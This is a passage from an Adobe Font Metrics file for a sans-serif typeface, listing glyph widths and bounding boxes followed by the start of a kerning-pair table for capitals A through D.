C 112 ; WX 556 ; N p ; B 58 -207 517 538 ;
C 113 ; WX 556 ; N q ; B 35 -207 494 538 ;
C 114 ; WX 333 ; N r ; B 77 0 332 538 ;
C 115 ; WX 500 ; N s ; B 32 -15 464 538 ;
C 116 ; WX 278 ; N t ; B 14 -7 257 669 ;
C 117 ; WX 556 ; N u ; B 68 -15 489 523 ;
C 118 ; WX 500 ; N v ; B 8 0 492 523 ;
C 119 ; WX 722 ; N w ; B 14 0 709 523 ;
C 120 ; WX 500 ; N x ; B 11 0 490 523 ;
C 121 ; WX 500 ; N y ; B 11 -214 489 523 ;
C 122 ; WX 500 ; N z ; B 31 0 469 523 ;
C 123 ; WX 334 ; N braceleft ; B 42 -196 292 722 ;
C 124 ; WX 260 ; N bar ; B 94 -225 167 775 ;
C 125 ; WX 334 ; N braceright ; B 42 -196 292 722 ;
C 126 ; WX 584 ; N asciitilde ; B 61 180 523 326 ;
C 161 ; WX 333 ; N exclamdown ; B 118 -195 215 523 ;
C 162 ; WX 556 ; N cent ; B 51 -115 513 623 ;
C 163 ; WX 556 ; N sterling ; B 33 -16 539 718 ;
C -1 ; WX 167 ; N fraction ; B -166 -19 333 703 ;
C 165 ; WX 556 ; N yen ; B 3 0 553 688 ;
C 131 ; WX 556 ; N florin ; B -11 -207 501 737 ;
C 167 ; WX 556 ; N section ; B 43 -191 512 737 ;
C 164 ; WX 556 ; N currency ; B 28 99 528 603 ;
C 39 ; WX 191 ; N quotesingle ; B 59 463 132 718 ;
C 147 ; WX 333 ; N quotedblleft ; B 38 470 307 725 ;
C 171 ; WX 556 ; N guillemotleft ; B 97 108 459 446 ;
C 139 ; WX 333 ; N guilsinglleft ; B 88 108 245 446 ;
C 155 ; WX 333 ; N guilsinglright ; B 88 108 245 446 ;
C -1 ; WX 500 ; N fi ; B 14 0 434 728 ;
C -1 ; WX 500 ; N fl ; B 14 0 432 728 ;
C 150 ; WX 556 ; N endash ; B 0 240 556 313 ;
C 134 ; WX 556 ; N dagger ; B 43 -159 514 718 ;
C 135 ; WX 556 ; N daggerdbl ; B 43 -159 514 718 ;
C 183 ; WX 278 ; N periodcentered ; B 77 190 202 315 ;
C 182 ; WX 537 ; N paragraph ; B 18 -173 497 718 ;
C 149 ; WX 350 ; N bullet ; B 18 202 333 517 ;
C 130 ; WX 222 ; N quotesinglbase ; B 53 -149 157 106 ;
C 132 ; WX 333 ; N quotedblbase ; B 26 -149 295 106 ;
C 148 ; WX 333 ; N quotedblright ; B 26 463 295 718 ;
C 187 ; WX 556 ; N guillemotright ; B 97 108 459 446 ;
C 133 ; WX 1000 ; N ellipsis ; B 115 0 885 106 ;
C 137 ; WX 1000 ; N perthousand ; B 7 -19 994 703 ;
C 191 ; WX 611 ; N questiondown ; B 91 -201 527 525 ;
C 96 ; WX 333 ; N grave ; B 14 593 211 734 ;
C 180 ; WX 333 ; N acute ; B 122 593 319 734 ;
C 136 ; WX 333 ; N circumflex ; B 21 593 312 734 ;
C 152 ; WX 333 ; N tilde ; B -4 606 337 722 ;
C 175 ; WX 333 ; N macron ; B 10 627 323 684 ;
C -1 ; WX 333 ; N breve ; B 13 595 321 731 ;
C -1 ; WX 333 ; N dotaccent ; B 121 604 212 706 ;
C 168 ; WX 333 ; N dieresis ; B 40 604 293 706 ;
C -1 ; WX 333 ; N ring ; B 75 572 259 756 ;
C 184 ; WX 333 ; N cedilla ; B 45 -225 259 0 ;
C -1 ; WX 333 ; N hungarumlaut ; B 31 593 409 734 ;
C -1 ; WX 333 ; N ogonek ; B 73 -225 287 0 ;
C -1 ; WX 333 ; N caron ; B 21 593 312 734 ;
C 151 ; WX 1000 ; N emdash ; B 0 240 1000 313 ;
C 198 ; WX 1000 ; N AE ; B 8 0 951 718 ;
C 170 ; WX 370 ; N ordfeminine ; B 24 405 346 737 ;
C -1 ; WX 556 ; N Lslash ; B -20 0 537 718 ;
C 216 ; WX 778 ; N Oslash ; B 39 -19 740 737 ;
C 140 ; WX 1000 ; N OE ; B 36 -19 965 737 ;
C 186 ; WX 365 ; N ordmasculine ; B 25 405 341 737 ;
C 230 ; WX 889 ; N ae ; B 36 -15 847 538 ;
C -1 ; WX 278 ; N dotlessi ; B 95 0 183 523 ;
C -1 ; WX 222 ; N lslash ; B -20 0 242 718 ;
C 248 ; WX 611 ; N oslash ; B 28 -22 537 545 ;
C 156 ; WX 944 ; N oe ; B 35 -15 902 538 ;
C 223 ; WX 611 ; N germandbls ; B 67 -15 571 728 ;
C 207 ; WX 278 ; N Idieresis ; B 13 0 266 901 ;
C 233 ; WX 556 ; N eacute ; B 40 -15 516 734 ;
C -1 ; WX 556 ; N abreve ; B 36 -15 530 731 ;
C -1 ; WX 556 ; N uhungarumlaut ; B 68 -15 521 734 ;
C -1 ; WX 556 ; N ecaron ; B 40 -15 516 734 ;
C 159 ; WX 667 ; N Ydieresis ; B 14 0 653 901 ;
C 247 ; WX 584 ; N divide ; B 39 -19 545 524 ;
C 221 ; WX 667 ; N Yacute ; B 14 0 653 929 ;
C 194 ; WX 667 ; N Acircumflex ; B 14 0 654 929 ;
C 225 ; WX 556 ; N aacute ; B 36 -15 530 734 ;
C 219 ; WX 722 ; N Ucircumflex ; B 79 -19 644 929 ;
C 253 ; WX 500 ; N yacute ; B 11 -214 489 734 ;
C -1 ; WX 500 ; N scommaaccent ; B 32 -225 464 538 ;
C 234 ; WX 556 ; N ecircumflex ; B 40 -15 516 734 ;
C -1 ; WX 722 ; N Uring ; B 79 -19 644 931 ;
C 220 ; WX 722 ; N Udieresis ; B 79 -19 644 901 ;
C -1 ; WX 556 ; N aogonek ; B 36 -220 547 538 ;
C 218 ; WX 722 ; N Uacute ; B 79 -19 644 929 ;
C -1 ; WX 556 ; N uogonek ; B 68 -225 519 523 ;
C 203 ; WX 667 ; N Edieresis ; B 86 0 616 901 ;
C -1 ; WX 722 ; N Dcroat ; B 0 0 674 718 ;
C -1 ; WX 250 ; N commaaccent ; B 87 -225 181 -40 ;
C 169 ; WX 737 ; N copyright ; B -14 -19 752 737 ;
C -1 ; WX 667 ; N Emacron ; B 86 0 616 879 ;
C -1 ; WX 500 ; N ccaron ; B 30 -15 477 734 ;
C 229 ; WX 556 ; N aring ; B 36 -15 530 756 ;
C -1 ; WX 722 ; N Ncommaaccent ; B 76 -225 646 718 ;
C -1 ; WX 222 ; N lacute ; B 67 0 264 929 ;
C 224 ; WX 556 ; N agrave ; B 36 -15 530 734 ;
C -1 ; WX 611 ; N Tcommaaccent ; B 14 -225 597 718 ;
C -1 ; WX 722 ; N Cacute ; B 44 -19 681 929 ;
C 227 ; WX 556 ; N atilde ; B 36 -15 530 722 ;
C -1 ; WX 667 ; N Edotaccent ; B 86 0 616 901 ;
C 154 ; WX 500 ; N scaron ; B 32 -15 464 734 ;
C -1 ; WX 500 ; N scedilla ; B 32 -225 464 538 ;
C 237 ; WX 278 ; N iacute ; B 95 0 292 734 ;
C -1 ; WX 471 ; N lozenge ; B 10 0 462 728 ;
C -1 ; WX 722 ; N Rcaron ; B 88 0 684 929 ;
C -1 ; WX 778 ; N Gcommaaccent ; B 48 -225 704 737 ;
C 251 ; WX 556 ; N ucircumflex ; B 68 -15 489 734 ;
C 226 ; WX 556 ; N acircumflex ; B 36 -15 530 734 ;
C -1 ; WX 667 ; N Amacron ; B 14 0 654 879 ;
C -1 ; WX 333 ; N rcaron ; B 61 0 352 734 ;
C 231 ; WX 500 ; N ccedilla ; B 30 -225 477 538 ;
C -1 ; WX 611 ; N Zdotaccent ; B 23 0 588 901 ;
C 222 ; WX 667 ; N Thorn ; B 86 0 622 718 ;
C -1 ; WX 778 ; N Omacron ; B 39 -19 739 879 ;
C -1 ; WX 722 ; N Racute ; B 88 0 684 929 ;
C -1 ; WX 667 ; N Sacute ; B 49 -19 620 929 ;
C -1 ; WX 643 ; N dcaron ; B 35 -15 655 718 ;
C -1 ; WX 722 ; N Umacron ; B 79 -19 644 879 ;
C -1 ; WX 556 ; N uring ; B 68 -15 489 756 ;
C 179 ; WX 333 ; N threesuperior ; B 5 270 325 703 ;
C 210 ; WX 778 ; N Ograve ; B 39 -19 739 929 ;
C 192 ; WX 667 ; N Agrave ; B 14 0 654 929 ;
C -1 ; WX 667 ; N Abreve ; B 14 0 654 926 ;
C 215 ; WX 584 ; N multiply ; B 39 0 545 506 ;
C 250 ; WX 556 ; N uacute ; B 68 -15 489 734 ;
C -1 ; WX 611 ; N Tcaron ; B 14 0 597 929 ;
C -1 ; WX 476 ; N partialdiff ; B 13 -38 463 714 ;
C 255 ; WX 500 ; N ydieresis ; B 11 -214 489 706 ;
C -1 ; WX 722 ; N Nacute ; B 76 0 646 929 ;
C 238 ; WX 278 ; N icircumflex ; B -6 0 285 734 ;
C 202 ; WX 667 ; N Ecircumflex ; B 86 0 616 929 ;
C 228 ; WX 556 ; N adieresis ; B 36 -15 530 706 ;
C 235 ; WX 556 ; N edieresis ; B 40 -15 516 706 ;
C -1 ; WX 500 ; N cacute ; B 30 -15 477 734 ;
C -1 ; WX 556 ; N nacute ; B 65 0 491 734 ;
C -1 ; WX 556 ; N umacron ; B 68 -15 489 684 ;
C -1 ; WX 722 ; N Ncaron ; B 76 0 646 929 ;
C 205 ; WX 278 ; N Iacute ; B 91 0 292 929 ;
C 177 ; WX 584 ; N plusminus ; B 39 0 545 506 ;
C 166 ; WX 260 ; N brokenbar ; B 94 -150 167 700 ;
C 174 ; WX 737 ; N registered ; B -14 -19 752 737 ;
C -1 ; WX 778 ; N Gbreve ; B 48 -19 704 926 ;
C -1 ; WX 278 ; N Idotaccent ; B 91 0 188 901 ;
C -1 ; WX 600 ; N summation ; B 15 -10 586 706 ;
C 200 ; WX 667 ; N Egrave ; B 86 0 616 929 ;
C -1 ; WX 333 ; N racute ; B 77 0 332 734 ;
C -1 ; WX 556 ; N omacron ; B 35 -14 521 684 ;
C -1 ; WX 611 ; N Zacute ; B 23 0 588 929 ;
C 142 ; WX 611 ; N Zcaron ; B 23 0 588 929 ;
C -1 ; WX 549 ; N greaterequal ; B 26 0 523 674 ;
C 208 ; WX 722 ; N Eth ; B 0 0 674 718 ;
C 199 ; WX 722 ; N Ccedilla ; B 44 -225 681 737 ;
C -1 ; WX 222 ; N lcommaaccent ; B 67 -225 167 718 ;
C -1 ; WX 317 ; N tcaron ; B 14 -7 329 808 ;
C -1 ; WX 556 ; N eogonek ; B 40 -225 516 538 ;
C -1 ; WX 722 ; N Uogonek ; B 79 -225 644 718 ;
C 193 ; WX 667 ; N Aacute ; B 14 0 654 929 ;
C 196 ; WX 667 ; N Adieresis ; B 14 0 654 901 ;
C 232 ; WX 556 ; N egrave ; B 40 -15 516 734 ;
C -1 ; WX 500 ; N zacute ; B 31 0 469 734 ;
C -1 ; WX 222 ; N iogonek ; B -31 -225 183 718 ;
C 211 ; WX 778 ; N Oacute ; B 39 -19 739 929 ;
C 243 ; WX 556 ; N oacute ; B 35 -14 521 734 ;
C -1 ; WX 556 ; N amacron ; B 36 -15 530 684 ;
C -1 ; WX 500 ; N sacute ; B 32 -15 464 734 ;
C 239 ; WX 278 ; N idieresis ; B 13 0 266 706 ;
C 212 ; WX 778 ; N Ocircumflex ; B 39 -19 739 929 ;
C 217 ; WX 722 ; N Ugrave ; B 79 -19 644 929 ;
C -1 ; WX 612 ; N Delta ; B 6 0 608 688 ;
C 254 ; WX 556 ; N thorn ; B 58 -207 517 718 ;
C 178 ; WX 333 ; N twosuperior ; B 4 281 323 703 ;
C 214 ; WX 778 ; N Odieresis ; B 39 -19 739 901 ;
C 181 ; WX 556 ; N mu ; B 68 -207 489 523 ;
C 236 ; WX 278 ; N igrave ; B -13 0 184 734 ;
C -1 ; WX 556 ; N ohungarumlaut ; B 35 -14 521 734 ;
C -1 ; WX 667 ; N Eogonek ; B 86 -220 633 718 ;
C -1 ; WX 556 ; N dcroat ; B 35 -15 550 718 ;
C 190 ; WX 834 ; N threequarters ; B 45 -19 810 703 ;
C -1 ; WX 667 ; N Scedilla ; B 49 -225 620 737 ;
C -1 ; WX 299 ; N lcaron ; B 67 0 311 718 ;
C -1 ; WX 667 ; N Kcommaaccent ; B 76 -225 663 718 ;
C -1 ; WX 556 ; N Lacute ; B 76 0 537 929 ;
C 153 ; WX 1000 ; N trademark ; B 46 306 903 718 ;
C -1 ; WX 556 ; N edotaccent ; B 40 -15 516 706 ;
C 204 ; WX 278 ; N Igrave ; B -13 0 188 929 ;
C -1 ; WX 278 ; N Imacron ; B -17 0 296 879 ;
C -1 ; WX 556 ; N Lcaron ; B 76 0 537 718 ;
C 189 ; WX 834 ; N onehalf ; B 43 -19 773 703 ;
C -1 ; WX 549 ; N lessequal ; B 26 0 523 674 ;
C 244 ; WX 556 ; N ocircumflex ; B 35 -14 521 734 ;
C 241 ; WX 556 ; N ntilde ; B 65 0 491 722 ;
C -1 ; WX 722 ; N Uhungarumlaut ; B 79 -19 644 929 ;
C 201 ; WX 667 ; N Eacute ; B 86 0 616 929 ;
C -1 ; WX 556 ; N emacron ; B 40 -15 516 684 ;
C -1 ; WX 556 ; N gbreve ; B 40 -220 499 731 ;
C 188 ; WX 834 ; N onequarter ; B 73 -19 756 703 ;
C 138 ; WX 667 ; N Scaron ; B 49 -19 620 929 ;
C -1 ; WX 667 ; N Scommaaccent ; B 49 -225 620 737 ;
C -1 ; WX 778 ; N Ohungarumlaut ; B 39 -19 739 929 ;
C 176 ; WX 400 ; N degree ; B 54 411 346 703 ;
C 242 ; WX 556 ; N ograve ; B 35 -14 521 734 ;
C -1 ; WX 722 ; N Ccaron ; B 44 -19 681 929 ;
C 249 ; WX 556 ; N ugrave ; B 68 -15 489 734 ;
C -1 ; WX 453 ; N radical ; B -4 -80 458 762 ;
C -1 ; WX 722 ; N Dcaron ; B 81 0 674 929 ;
C -1 ; WX 333 ; N rcommaaccent ; B 77 -225 332 538 ;
C 209 ; WX 722 ; N Ntilde ; B 76 0 646 917 ;
C 245 ; WX 556 ; N otilde ; B 35 -14 521 722 ;
C -1 ; WX 722 ; N Rcommaaccent ; B 88 -225 684 718 ;
C -1 ; WX 556 ; N Lcommaaccent ; B 76 -225 537 718 ;
C 195 ; WX 667 ; N Atilde ; B 14 0 654 917 ;
C -1 ; WX 667 ; N Aogonek ; B 14 -225 654 718 ;
C 197 ; WX 667 ; N Aring ; B 14 0 654 931 ;
C 213 ; WX 778 ; N Otilde ; B 39 -19 739 917 ;
C -1 ; WX 500 ; N zdotaccent ; B 31 0 469 706 ;
C -1 ; WX 667 ; N Ecaron ; B 86 0 616 929 ;
C -1 ; WX 278 ; N Iogonek ; B -3 -225 211 718 ;
C -1 ; WX 500 ; N kcommaaccent ; B 67 -225 501 718 ;
C -1 ; WX 584 ; N minus ; B 39 216 545 289 ;
C 206 ; WX 278 ; N Icircumflex ; B -6 0 285 929 ;
C -1 ; WX 556 ; N ncaron ; B 65 0 491 734 ;
C -1 ; WX 278 ; N tcommaaccent ; B 14 -225 257 669 ;
C 172 ; WX 584 ; N logicalnot ; B 39 108 545 390 ;
C 246 ; WX 556 ; N odieresis ; B 35 -14 521 706 ;
C 252 ; WX 556 ; N udieresis ; B 68 -15 489 706 ;
C -1 ; WX 549 ; N notequal ; B 12 -35 537 551 ;
C -1 ; WX 556 ; N gcommaaccent ; B 40 -220 499 822 ;
C 240 ; WX 556 ; N eth ; B 35 -15 522 737 ;
C 158 ; WX 500 ; N zcaron ; B 31 0 469 734 ;
C -1 ; WX 556 ; N ncommaaccent ; B 65 -225 491 538 ;
C 185 ; WX 333 ; N onesuperior ; B 43 281 222 703 ;
C -1 ; WX 278 ; N imacron ; B 5 0 272 684 ;
C 128 ; WX 556 ; N Euro ; B 0 0 0 0 ;
EndCharMetrics
StartKernData
StartKernPairs 2705
KPX A C -30
KPX A Cacute -30
KPX A Ccaron -30
KPX A Ccedilla -30
KPX A G -30
KPX A Gbreve -30
KPX A Gcommaaccent -30
KPX A O -30
KPX A Oacute -30
KPX A Ocircumflex -30
KPX A Odieresis -30
KPX A Ograve -30
KPX A Ohungarumlaut -30
KPX A Omacron -30
KPX A Oslash -30
KPX A Otilde -30
KPX A Q -30
KPX A T -120
KPX A Tcaron -120
KPX A Tcommaaccent -120
KPX A U -50
KPX A Uacute -50
KPX A Ucircumflex -50
KPX A Udieresis -50
KPX A Ugrave -50
KPX A Uhungarumlaut -50
KPX A Umacron -50
KPX A Uogonek -50
KPX A Uring -50
KPX A V -70
KPX A W -50
KPX A Y -100
KPX A Yacute -100
KPX A Ydieresis -100
KPX A u -30
KPX A uacute -30
KPX A ucircumflex -30
KPX A udieresis -30
KPX A ugrave -30
KPX A uhungarumlaut -30
KPX A umacron -30
KPX A uogonek -30
KPX A uring -30
KPX A v -40
KPX A w -40
KPX A y -40
KPX A yacute -40
KPX A ydieresis -40
KPX Aacute C -30
KPX Aacute Cacute -30
KPX Aacute Ccaron -30
KPX Aacute Ccedilla -30
KPX Aacute G -30
KPX Aacute Gbreve -30
KPX Aacute Gcommaaccent -30
KPX Aacute O -30
KPX Aacute Oacute -30
KPX Aacute Ocircumflex -30
KPX Aacute Odieresis -30
KPX Aacute Ograve -30
KPX Aacute Ohungarumlaut -30
KPX Aacute Omacron -30
KPX Aacute Oslash -30
KPX Aacute Otilde -30
KPX Aacute Q -30
KPX Aacute T -120
KPX Aacute Tcaron -120
KPX Aacute Tcommaaccent -120
KPX Aacute U -50
KPX Aacute Uacute -50
KPX Aacute Ucircumflex -50
KPX Aacute Udieresis -50
KPX Aacute Ugrave -50
KPX Aacute Uhungarumlaut -50
KPX Aacute Umacron -50
KPX Aacute Uogonek -50
KPX Aacute Uring -50
KPX Aacute V -70
KPX Aacute W -50
KPX Aacute Y -100
KPX Aacute Yacute -100
KPX Aacute Ydieresis -100
KPX Aacute u -30
KPX Aacute uacute -30
KPX Aacute ucircumflex -30
KPX Aacute udieresis -30
KPX Aacute ugrave -30
KPX Aacute uhungarumlaut -30
KPX Aacute umacron -30
KPX Aacute uogonek -30
KPX Aacute uring -30
KPX Aacute v -40
KPX Aacute w -40
KPX Aacute y -40
KPX Aacute yacute -40
KPX Aacute ydieresis -40
KPX Abreve C -30
KPX Abreve Cacute -30
KPX Abreve Ccaron -30
KPX Abreve Ccedilla -30
KPX Abreve G -30
KPX Abreve Gbreve -30
KPX Abreve Gcommaaccent -30
KPX Abreve O -30
KPX Abreve Oacute -30
KPX Abreve Ocircumflex -30
KPX Abreve Odieresis -30
KPX Abreve Ograve -30
KPX Abreve Ohungarumlaut -30
KPX Abreve Omacron -30
KPX Abreve Oslash -30
KPX Abreve Otilde -30
KPX Abreve Q -30
KPX Abreve T -120
KPX Abreve Tcaron -120
KPX Abreve Tcommaaccent -120
KPX Abreve U -50
KPX Abreve Uacute -50
KPX Abreve Ucircumflex -50
KPX Abreve Udieresis -50
KPX Abreve Ugrave -50
KPX Abreve Uhungarumlaut -50
KPX Abreve Umacron -50
KPX Abreve Uogonek -50
KPX Abreve Uring -50
KPX Abreve V -70
KPX Abreve W -50
KPX Abreve Y -100
KPX Abreve Yacute -100
KPX Abreve Ydieresis -100
KPX Abreve u -30
KPX Abreve uacute -30
KPX Abreve ucircumflex -30
KPX Abreve udieresis -30
KPX Abreve ugrave -30
KPX Abreve uhungarumlaut -30
KPX Abreve umacron -30
KPX Abreve uogonek -30
KPX Abreve uring -30
KPX Abreve v -40
KPX Abreve w -40
KPX Abreve y -40
KPX Abreve yacute -40
KPX Abreve ydieresis -40
KPX Acircumflex C -30
KPX Acircumflex Cacute -30
KPX Acircumflex Ccaron -30
KPX Acircumflex Ccedilla -30
KPX Acircumflex G -30
KPX Acircumflex Gbreve -30
KPX Acircumflex Gcommaaccent -30
KPX Acircumflex O -30
KPX Acircumflex Oacute -30
KPX Acircumflex Ocircumflex -30
KPX Acircumflex Odieresis -30
KPX Acircumflex Ograve -30
KPX Acircumflex Ohungarumlaut -30
KPX Acircumflex Omacron -30
KPX Acircumflex Oslash -30
KPX Acircumflex Otilde -30
KPX Acircumflex Q -30
KPX Acircumflex T -120
KPX Acircumflex Tcaron -120
KPX Acircumflex Tcommaaccent -120
KPX Acircumflex U -50
KPX Acircumflex Uacute -50
KPX Acircumflex Ucircumflex -50
KPX Acircumflex Udieresis -50
KPX Acircumflex Ugrave -50
KPX Acircumflex Uhungarumlaut -50
KPX Acircumflex Umacron -50
KPX Acircumflex Uogonek -50
KPX Acircumflex Uring -50
KPX Acircumflex V -70
KPX Acircumflex W -50
KPX Acircumflex Y -100
KPX Acircumflex Yacute -100
KPX Acircumflex Ydieresis -100
KPX Acircumflex u -30
KPX Acircumflex uacute -30
KPX Acircumflex ucircumflex -30
KPX Acircumflex udieresis -30
KPX Acircumflex ugrave -30
KPX Acircumflex uhungarumlaut -30
KPX Acircumflex umacron -30
KPX Acircumflex uogonek -30
KPX Acircumflex uring -30
KPX Acircumflex v -40
KPX Acircumflex w -40
KPX Acircumflex y -40
KPX Acircumflex yacute -40
KPX Acircumflex ydieresis -40
KPX Adieresis C -30
KPX Adieresis Cacute -30
KPX Adieresis Ccaron -30
KPX Adieresis Ccedilla -30
KPX Adieresis G -30
KPX Adieresis Gbreve -30
KPX Adieresis Gcommaaccent -30
KPX Adieresis O -30
KPX Adieresis Oacute -30
KPX Adieresis Ocircumflex -30
KPX Adieresis Odieresis -30
KPX Adieresis Ograve -30
KPX Adieresis Ohungarumlaut -30
KPX Adieresis Omacron -30
KPX Adieresis Oslash -30
KPX Adieresis Otilde -30
KPX Adieresis Q -30
KPX Adieresis T -120
KPX Adieresis Tcaron -120
KPX Adieresis Tcommaaccent -120
KPX Adieresis U -50
KPX Adieresis Uacute -50
KPX Adieresis Ucircumflex -50
KPX Adieresis Udieresis -50
KPX Adieresis Ugrave -50
KPX Adieresis Uhungarumlaut -50
KPX Adieresis Umacron -50
KPX Adieresis Uogonek -50
KPX Adieresis Uring -50
KPX Adieresis V -70
KPX Adieresis W -50
KPX Adieresis Y -100
KPX Adieresis Yacute -100
KPX Adieresis Ydieresis -100
KPX Adieresis u -30
KPX Adieresis uacute -30
KPX Adieresis ucircumflex -30
KPX Adieresis udieresis -30
KPX Adieresis ugrave -30
KPX Adieresis uhungarumlaut -30
KPX Adieresis umacron -30
KPX Adieresis uogonek -30
KPX Adieresis uring -30
KPX Adieresis v -40
KPX Adieresis w -40
KPX Adieresis y -40
KPX Adieresis yacute -40
KPX Adieresis ydieresis -40
KPX Agrave C -30
KPX Agrave Cacute -30
KPX Agrave Ccaron -30
KPX Agrave Ccedilla -30
KPX Agrave G -30
KPX Agrave Gbreve -30
KPX Agrave Gcommaaccent -30
KPX Agrave O -30
KPX Agrave Oacute -30
KPX Agrave Ocircumflex -30
KPX Agrave Odieresis -30
KPX Agrave Ograve -30
KPX Agrave Ohungarumlaut -30
KPX Agrave Omacron -30
KPX Agrave Oslash -30
KPX Agrave Otilde -30
KPX Agrave Q -30
KPX Agrave T -120
KPX Agrave Tcaron -120
KPX Agrave Tcommaaccent -120
KPX Agrave U -50
KPX Agrave Uacute -50
KPX Agrave Ucircumflex -50
KPX Agrave Udieresis -50
KPX Agrave Ugrave -50
KPX Agrave Uhungarumlaut -50
KPX Agrave Umacron -50
KPX Agrave Uogonek -50
KPX Agrave Uring -50
KPX Agrave V -70
KPX Agrave W -50
KPX Agrave Y -100
KPX Agrave Yacute -100
KPX Agrave Ydieresis -100
KPX Agrave u -30
KPX Agrave uacute -30
KPX Agrave ucircumflex -30
KPX Agrave udieresis -30
KPX Agrave ugrave -30
KPX Agrave uhungarumlaut -30
KPX Agrave umacron -30
KPX Agrave uogonek -30
KPX Agrave uring -30
KPX Agrave v -40
KPX Agrave w -40
KPX Agrave y -40
KPX Agrave yacute -40
KPX Agrave ydieresis -40
KPX Amacron C -30
KPX Amacron Cacute -30
KPX Amacron Ccaron -30
KPX Amacron Ccedilla -30
KPX Amacron G -30
KPX Amacron Gbreve -30
KPX Amacron Gcommaaccent -30
KPX Amacron O -30
KPX Amacron Oacute -30
KPX Amacron Ocircumflex -30
KPX Amacron Odieresis -30
KPX Amacron Ograve -30
KPX Amacron Ohungarumlaut -30
KPX Amacron Omacron -30
KPX Amacron Oslash -30
KPX Amacron Otilde -30
KPX Amacron Q -30
KPX Amacron T -120
KPX Amacron Tcaron -120
KPX Amacron Tcommaaccent -120
KPX Amacron U -50
KPX Amacron Uacute -50
KPX Amacron Ucircumflex -50
KPX Amacron Udieresis -50
KPX Amacron Ugrave -50
KPX Amacron Uhungarumlaut -50
KPX Amacron Umacron -50
KPX Amacron Uogonek -50
KPX Amacron Uring -50
KPX Amacron V -70
KPX Amacron W -50
KPX Amacron Y -100
KPX Amacron Yacute -100
KPX Amacron Ydieresis -100
KPX Amacron u -30
KPX Amacron uacute -30
KPX Amacron ucircumflex -30
KPX Amacron udieresis -30
KPX Amacron ugrave -30
KPX Amacron uhungarumlaut -30
KPX Amacron umacron -30
KPX Amacron uogonek -30
KPX Amacron uring -30
KPX Amacron v -40
KPX Amacron w -40
KPX Amacron y -40
KPX Amacron yacute -40
KPX Amacron ydieresis -40
KPX Aogonek C -30
KPX Aogonek Cacute -30
KPX Aogonek Ccaron -30
KPX Aogonek Ccedilla -30
KPX Aogonek G -30
KPX Aogonek Gbreve -30
KPX Aogonek Gcommaaccent -30
KPX Aogonek O -30
KPX Aogonek Oacute -30
KPX Aogonek Ocircumflex -30
KPX Aogonek Odieresis -30
KPX Aogonek Ograve -30
KPX Aogonek Ohungarumlaut -30
KPX Aogonek Omacron -30
KPX Aogonek Oslash -30
KPX Aogonek Otilde -30
KPX Aogonek Q -30
KPX Aogonek T -120
KPX Aogonek Tcaron -120
KPX Aogonek Tcommaaccent -120
KPX Aogonek U -50
KPX Aogonek Uacute -50
KPX Aogonek Ucircumflex -50
KPX Aogonek Udieresis -50
KPX Aogonek Ugrave -50
KPX Aogonek Uhungarumlaut -50
KPX Aogonek Umacron -50
KPX Aogonek Uogonek -50
KPX Aogonek Uring -50
KPX Aogonek V -70
KPX Aogonek W -50
KPX Aogonek Y -100
KPX Aogonek Yacute -100
KPX Aogonek Ydieresis -100
KPX Aogonek u -30
KPX Aogonek uacute -30
KPX Aogonek ucircumflex -30
KPX Aogonek udieresis -30
KPX Aogonek ugrave -30
KPX Aogonek uhungarumlaut -30
KPX Aogonek umacron -30
KPX Aogonek uogonek -30
KPX Aogonek uring -30
KPX Aogonek v -40
KPX Aogonek w -40
KPX Aogonek y -40
KPX Aogonek yacute -40
KPX Aogonek ydieresis -40
KPX Aring C -30
KPX Aring Cacute -30
KPX Aring Ccaron -30
KPX Aring Ccedilla -30
KPX Aring G -30
KPX Aring Gbreve -30
KPX Aring Gcommaaccent -30
KPX Aring O -30
KPX Aring Oacute -30
KPX Aring Ocircumflex -30
KPX Aring Odieresis -30
KPX Aring Ograve -30
KPX Aring Ohungarumlaut -30
KPX Aring Omacron -30
KPX Aring Oslash -30
KPX Aring Otilde -30
KPX Aring Q -30
KPX Aring T -120
KPX Aring Tcaron -120
KPX Aring Tcommaaccent -120
KPX Aring U -50
KPX Aring Uacute -50
KPX Aring Ucircumflex -50
KPX Aring Udieresis -50
KPX Aring Ugrave -50
KPX Aring Uhungarumlaut -50
KPX Aring Umacron -50
KPX Aring Uogonek -50
KPX Aring Uring -50
KPX Aring V -70
KPX Aring W -50
KPX Aring Y -100
KPX Aring Yacute -100
KPX Aring Ydieresis -100
KPX Aring u -30
KPX Aring uacute -30
KPX Aring ucircumflex -30
KPX Aring udieresis -30
KPX Aring ugrave -30
KPX Aring uhungarumlaut -30
KPX Aring umacron -30
KPX Aring uogonek -30
KPX Aring uring -30
KPX Aring v -40
KPX Aring w -40
KPX Aring y -40
KPX Aring yacute -40
KPX Aring ydieresis -40
KPX Atilde C -30
KPX Atilde Cacute -30
KPX Atilde Ccaron -30
KPX Atilde Ccedilla -30
KPX Atilde G -30
KPX Atilde Gbreve -30
KPX Atilde Gcommaaccent -30
KPX Atilde O -30
KPX Atilde Oacute -30
KPX Atilde Ocircumflex -30
KPX Atilde Odieresis -30
KPX Atilde Ograve -30
KPX Atilde Ohungarumlaut -30
KPX Atilde Omacron -30
KPX Atilde Oslash -30
KPX Atilde Otilde -30
KPX Atilde Q -30
KPX Atilde T -120
KPX Atilde Tcaron -120
KPX Atilde Tcommaaccent -120
KPX Atilde U -50
KPX Atilde Uacute -50
KPX Atilde Ucircumflex -50
KPX Atilde Udieresis -50
KPX Atilde Ugrave -50
KPX Atilde Uhungarumlaut -50
KPX Atilde Umacron -50
KPX Atilde Uogonek -50
KPX Atilde Uring -50
KPX Atilde V -70
KPX Atilde W -50
KPX Atilde Y -100
KPX Atilde Yacute -100
KPX Atilde Ydieresis -100
KPX Atilde u -30
KPX Atilde uacute -30
KPX Atilde ucircumflex -30
KPX Atilde udieresis -30
KPX Atilde ugrave -30
KPX Atilde uhungarumlaut -30
KPX Atilde umacron -30
KPX Atilde uogonek -30
KPX Atilde uring -30
KPX Atilde v -40
KPX Atilde w -40
KPX Atilde y -40
KPX Atilde yacute -40
KPX Atilde ydieresis -40
KPX B U -10
KPX B Uacute -10
KPX B Ucircumflex -10
KPX B Udieresis -10
KPX B Ugrave -10
KPX B Uhungarumlaut -10
KPX B Umacron -10
KPX B Uogonek -10
KPX B Uring -10
KPX B comma -20
KPX B period -20
KPX C comma -30
KPX C period -30
KPX Cacute comma -30
KPX Cacute period -30
KPX Ccaron comma -30
KPX Ccaron period -30
KPX Ccedilla comma -30
KPX Ccedilla period -30
KPX D A -40
KPX D Aacute -40
KPX D Abreve -40
KPX D Acircumflex -40
KPX D Adieresis -40
KPX D Agrave -40
KPX D Amacron -40
KPX D Aogonek -40
KPX D Aring -40
KPX D Atilde -40
KPX D V -70
KPX D W -40
